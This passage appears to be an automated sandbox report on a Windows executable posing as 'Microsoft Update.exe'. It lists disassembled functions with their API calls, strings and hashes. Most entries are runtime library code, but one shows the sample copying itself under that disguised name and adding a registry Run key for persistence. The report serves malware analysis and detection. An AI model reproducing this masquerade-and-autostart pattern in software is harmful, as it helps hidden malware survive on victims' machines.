Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,00000000,00000092,?,?,00000000,?,00007FF7B687CCB3), ref: 00007FF7B688B639
GetUserDefaultLCID.KERNEL32(?,00000000,00000092,?), ref: 00007FF7B688B652
IsValidCodePage.KERNEL32 ref: 00007FF7B688B68E
IsValidLocale.KERNEL32 ref: 00007FF7B688B6A4
GetLocaleInfoW.KERNEL32 ref: 00007FF7B688B700
GetLocaleInfoW.KERNEL32 ref: 00007FF7B688B71C

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: Locale$InfoValid$CodeDefaultEnumLocalesPageSystemUser
String ID:
API String ID: 3082464267-0
Opcode ID: 23049e9bca9cf155f59126e0252aaeb76ffafbeb238e8479c4e83e325f1a7626
Instruction ID: 2536067faa54b7edff98651cae2bfccfbcdd94be5589ff0fdda366a2a068b954
Opcode Fuzzy Hash: 23049e9bca9cf155f59126e0252aaeb76ffafbeb238e8479c4e83e325f1a7626
Instruction Fuzzy Hash: 85717022B0470246FB10BB69DC552BEA3A0BFA6B44F844175CB1D536E9EF3CE465C760

Function 00007FF7B6874D38 Relevance: 9.1, APIs: 6, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7B6874DC3
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7B6874DDB
RtlVirtualUnwind.KERNEL32 ref: 00007FF7B6874E16
IsDebuggerPresent.KERNEL32 ref: 00007FF7B6874E4F
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7B6874E59
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7B6874E64

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: c30e0b900f36921b446fa71db49fc22f6e009e37324649d0b4d0ac352e5add62
Instruction ID: c85505bc2d864c9576e9f65d77e182945aa2689c2e94645950d8ec81680beea7
Opcode Fuzzy Hash: c30e0b900f36921b446fa71db49fc22f6e009e37324649d0b4d0ac352e5add62
Instruction Fuzzy Hash: 04416032618B8186D760DF28EC403AAB3A4FB95754F940135EB8D46BA8EF3CD565CB10

Function 00007FF7B688B2E8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?,?,?,?,00007FF7B688B681), ref: 00007FF7B688B341
GetLocaleInfoW.KERNEL32(?,?,?,?,?,?,?,00007FF7B688B681), ref: 00007FF7B688B36E
GetACP.KERNEL32(?,?,?,?,?,?,?,00007FF7B688B681), ref: 00007FF7B688B384

Strings

ACP, xrefs: 00007FF7B688B30D
OCP, xrefs: 00007FF7B688B31D

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 8c5541fe81a8734eabf8503786d2f7fc728e91418014d89b65a27018a0f01a87
Instruction ID: 099a20d1d9f42019d29ba5a4676c74b02d5d192ed2e827bb7c774b76642fe80d
Opcode Fuzzy Hash: 8c5541fe81a8734eabf8503786d2f7fc728e91418014d89b65a27018a0f01a87
Instruction Fuzzy Hash: BA119621B1C64293F760AB59EC4457BA390EF96B84F845071EB09435A9EF2CEC618B60

Function 00007FF7B6887700 Relevance: 6.2, APIs: 4, Instructions: 240fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF7B6887881
FindNextFileW.KERNEL32 ref: 00007FF7B68879B7
FindClose.KERNEL32 ref: 00007FF7B68879F7
FindClose.KERNEL32 ref: 00007FF7B6887A23

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 371edf6f21b2166734673312ffef1f03a54e4097dd2335f9a2369213e92a9216
Instruction ID: affb5ace08516a09fb78bcf54337d3d2a64312c4195b8cc2145ae987b8c9033c
Opcode Fuzzy Hash: 371edf6f21b2166734673312ffef1f03a54e4097dd2335f9a2369213e92a9216
Instruction Fuzzy Hash: CBA11922B1868245FB20AB79DC481BFEBB0AB62F94F9440B5DB9C2769DDE3CD051C710

Function 00007FF7B687E378 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 490COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B687E3BC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B687E7A3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B687EA56

Strings

p, xrefs: 00007FF7B687E46E
p, xrefs: 00007FF7B687E4E6
f, xrefs: 00007FF7B687E4DE

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: ff841ab414017906a4ce9677fad038f52bef3835973e217c03f7dbe0c29fd723
Instruction ID: f29356e832e7b911176a0fbe1bef328ff07acd2544864d666b7886102ba8c71f
Opcode Fuzzy Hash: ff841ab414017906a4ce9677fad038f52bef3835973e217c03f7dbe0c29fd723
Instruction Fuzzy Hash: AE129422E0814385FB64BA58D85C37BF661FB72794FC88071E799466DCDA3CE4E08722

Function 00007FF7B6871E7C Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 318COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B6874290: __GetUnwindTryBlock.LIBCMT ref: 00007FF7B68742D3
Part of subcall function 00007FF7B6874290: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7B68742FB

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7B6871FB1
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7B6872208
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7B687231E

Strings

csm, xrefs: 00007FF7B6871EF3
csm, xrefs: 00007FF7B6871FD4
csm, xrefs: 00007FF7B6871F5A

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: BlockUnwind$CatchExecutionFrameHandler3::Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 910750162-393685449
Opcode ID: 45d9d0d55b7ba5167f486cb8cf36cdf1559fe326e8a5922f4952d0472621adce
Instruction ID: 190a9e3c74714a477b41d9cda21c1cb129bdf7c64cb124b61380d1fa2d140df5
Opcode Fuzzy Hash: 45d9d0d55b7ba5167f486cb8cf36cdf1559fe326e8a5922f4952d0472621adce
Instruction Fuzzy Hash: 8AE19432A0874185EB20EF6998403BEB7A0FB66788F940175DB8D5BB59CF38E1E1C750

Function 00007FF7B6882760 Relevance: 10.8, APIs: 7, Instructions: 293COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B6882B9F

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: fb0afe1e9d21ee2a0c6f4c5d5074379cf68dbe614b90f74b620057af51bb3605
Instruction ID: d6fb232a477149f1939844d9f24f3214594877f6cdf50d3823eb99ca19768d22
Opcode Fuzzy Hash: fb0afe1e9d21ee2a0c6f4c5d5074379cf68dbe614b90f74b620057af51bb3605
Instruction Fuzzy Hash: 78C1C72290868391E660AB189C582BFB750FFA2F90FD50171DB4D0B799DE7CE86583A0

Function 00007FF7B686873E Relevance: 10.7, APIs: 7, Instructions: 166COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B6868A55
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B6868A5B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B6868A61
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B6868A67
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B6868A6D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B6868A73
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B6868A79

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 11816f62725651dbd89d654ffd8a46c8ce52a852ce5836e3bf330b5f44b8af14
Instruction ID: 30e276999a5842d6de79730c9f0816bd95463df2bae2f3e53a407430347c60e0
Opcode Fuzzy Hash: 11816f62725651dbd89d654ffd8a46c8ce52a852ce5836e3bf330b5f44b8af14
Instruction Fuzzy Hash: 5061A4B3F197C140ED21ABA9A8552BFD311AF9A7A0F505371D7BC46ACDDE2CE0D08221

Function 00007FF7B6863534 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 102registryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B68631C4: SHGetFolderPathW.SHELL32 ref: 00007FF7B686320C

CopyFileW.KERNEL32 ref: 00007FF7B68635E5
RegOpenKeyExW.ADVAPI32 ref: 00007FF7B686362B
RegSetValueExW.ADVAPI32 ref: 00007FF7B6863679
RegCloseKey.ADVAPI32 ref: 00007FF7B686368A

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00007FF7B6863613
\Microsoft Update.exe, xrefs: 00007FF7B68635A3

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: CloseCopyFileFolderOpenPathValue
String ID: Software\Microsoft\Windows\CurrentVersion\Run$\Microsoft Update.exe
API String ID: 116070201-3429284611
Opcode ID: 01a8b963043f816c0e8122e18271e05407ae6916251ab5994909f7e7137468fc
Instruction ID: f629f1291afb7db245f32ce89539a3ada6754e7a80fb4cc0ae489f7754bec5e9
Opcode Fuzzy Hash: 01a8b963043f816c0e8122e18271e05407ae6916251ab5994909f7e7137468fc
Instruction Fuzzy Hash: A3419162705A019AEB10EF69D8803AE7360FB55798F801572EF5C87B9CDF38E564C310

Function 00007FF7B68747FC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7B6874AAE,?,?,?,00007FF7B68747A0,?,?,?,00007FF7B6871329), ref: 00007FF7B6874881
GetLastError.KERNEL32(?,?,?,00007FF7B6874AAE,?,?,?,00007FF7B68747A0,?,?,?,00007FF7B6871329), ref: 00007FF7B687488F
LoadLibraryExW.KERNEL32(?,?,?,00007FF7B6874AAE,?,?,?,00007FF7B68747A0,?,?,?,00007FF7B6871329), ref: 00007FF7B68748B9
FreeLibrary.KERNEL32(?,?,?,00007FF7B6874AAE,?,?,?,00007FF7B68747A0,?,?,?,00007FF7B6871329), ref: 00007FF7B6874927
GetProcAddress.KERNEL32(?,?,?,00007FF7B6874AAE,?,?,?,00007FF7B68747A0,?,?,?,00007FF7B6871329), ref: 00007FF7B6874933

Strings

api-ms-, xrefs: 00007FF7B68748A1

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 0daae1f0dd12447bd1e85e122ea5114629ba90e848bcea2c166384ac6344cb0f
Instruction ID: 94384e101ea1f28225685f57e7052111ac646e83413bf10d2579171b63f5053c
Opcode Fuzzy Hash: 0daae1f0dd12447bd1e85e122ea5114629ba90e848bcea2c166384ac6344cb0f
Instruction Fuzzy Hash: A731D822B0964691EE11BB0A9C0017AB394BF66B64F994575DF2D47398EF3CE4A08360

Function 00007FF7B688EDFC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF7B688EE2D
GetLastError.KERNEL32 ref: 00007FF7B688EE39
CloseHandle.KERNEL32 ref: 00007FF7B688EE51
CreateFileW.KERNEL32 ref: 00007FF7B688EE7C
WriteConsoleW.KERNEL32 ref: 00007FF7B688EE9B

Strings

CONOUT$, xrefs: 00007FF7B688EE5D

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 88bef0f5a3aab689d2315e858b31a0285403826c97378bcb757b0aeeb119e936
Instruction ID: 810cbc74c33294d2159657840738f003d802ddcfcf3d4fe902a2d0a0cf5d6041
Opcode Fuzzy Hash: 88bef0f5a3aab689d2315e858b31a0285403826c97378bcb757b0aeeb119e936
Instruction Fuzzy Hash: 51119A21718A4186E7509B1AEC4432AA2A0FBA9FE4F445274DF1D877D8DF3CE5648750

Function 00007FF7B686ED40 Relevance: 9.2, APIs: 6, Instructions: 217COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF7B686EDB3
MultiByteToWideChar.KERNEL32 ref: 00007FF7B686EE54
LCMapStringEx.KERNEL32 ref: 00007FF7B686EEBD
LCMapStringEx.KERNEL32 ref: 00007FF7B686EF12
LCMapStringEx.KERNEL32 ref: 00007FF7B686EFD8
WideCharToMultiByte.KERNEL32 ref: 00007FF7B686F032

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 6ebffb5236edcac014fc74a457bf4db57f21cc670a92c9a184eff4a0deecc263
Instruction ID: d14244a3c9335dd840e5082f0a4643907ce53c9f48176c198bdf325f8f1c7056
Opcode Fuzzy Hash: 6ebffb5236edcac014fc74a457bf4db57f21cc670a92c9a184eff4a0deecc263
Instruction Fuzzy Hash: 9391A27260874186EB209F19A84427AB396FF667A8F940271EB5D87BDCDF3CD4548320

Function 00007FF7B6872360 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 328COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7B6872501
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7B687283F

Strings

csm, xrefs: 00007FF7B6872448
csm, xrefs: 00007FF7B687252B
csm, xrefs: 00007FF7B68724AA

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: 17811a586b4e30293b7a862787874e8199efe57d6fb30ed2752ed0a9c7ad6770
Instruction ID: 1118099025f3aad193dcc5636432f292e3ebb7ed53e92aadb3daaae21413977f
Opcode Fuzzy Hash: 17811a586b4e30293b7a862787874e8199efe57d6fb30ed2752ed0a9c7ad6770
Instruction Fuzzy Hash: B2E1E373A086428AE721EF28D8503BEB7A0FB66748F944175DB8D4B799DE38E0D1C750

Function 00007FF7B687EF68 Relevance: 9.1, APIs: 6, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7B687EF77
SetLastError.KERNEL32 ref: 00007FF7B687EF96
FlsSetValue.KERNEL32 ref: 00007FF7B687EFBF
FlsSetValue.KERNEL32 ref: 00007FF7B687EFD0
FlsSetValue.KERNEL32 ref: 00007FF7B687EFE1

Part of subcall function 00007FF7B687EC00: RtlFreeHeap.NTDLL(?,?,00007FF7B687DEA3,00007FF7B68897F6,?,?,?,00007FF7B6889B73,?,?,00000000,00007FF7B688A0F9,?,?,?,00007FF7B688A02B), ref: 00007FF7B687EC16
Part of subcall function 00007FF7B687EC00: GetLastError.KERNEL32(?,?,00007FF7B687DEA3,00007FF7B68897F6,?,?,?,00007FF7B6889B73,?,?,00000000,00007FF7B688A0F9,?,?,?,00007FF7B688A02B), ref: 00007FF7B687EC20

SetLastError.KERNEL32 ref: 00007FF7B687F004

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: ErrorLast$Value$FreeHeap
String ID:
API String ID: 365477584-0
Opcode ID: 38159629817ec4c1afd1177c841f7055fcbf8237c557df734d21b8500040050b
Instruction ID: 1a7c8c5c9f3725bbcf2347d045fc0234015bb40e709ea5ba09033b162f86deaf
Opcode Fuzzy Hash: 38159629817ec4c1afd1177c841f7055fcbf8237c557df734d21b8500040050b
Instruction Fuzzy Hash: 65118224F0820342F614773DAC5907BD1416FAAB94F8459B4EB6E467CEDE6CF8B14361

Function 00007FF7B687C1E8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7B687C20D
GetProcAddress.KERNEL32 ref: 00007FF7B687C223
FreeLibrary.KERNEL32 ref: 00007FF7B687C23F

Strings

CorExitProcess, xrefs: 00007FF7B687C21C
mscoree.dll, xrefs: 00007FF7B687C204

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68AD000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7b6860000_Microsoft Update.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 39e807388046c9810d268622a1e7fb84f98e36b321e4c4a6b55003aa0266b39d
Instruction ID: 3fd2e9dd957b61b165a866b0b16858734564d4bbdddae2949488b9e170cb2924
Opcode Fuzzy Hash: 39e807388046c9810d268622a1e7fb84f98e36b321e4c4a6b55003aa0266b39d
Instruction Fuzzy Hash: F3F0C221A1860282EB106B5C9C403779330EFAA364FC02274C76D061E8DF2CE064C720

Function 00007FF7B687174C Relevance: 7.8, APIs: 5, Instructions: 290COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 00007FF7B687186F
__AdjustPointer.LIBCMT ref: 00007FF7B68718BA

Memory Dump Source

Source File: 0000000E.00000002.3548879724.00007FF7B6861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7B6860000, based on PE: true

Associated: 0000000E.00000002.3548860134.00007FF7B6860000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3548946101.00007FF7B6893000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549015764.00007FF7B68A6000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000E.00000002.3549036516.00007FF7B68A9000.00000002.00000001.01000000.0000000E.sdmpDownload File
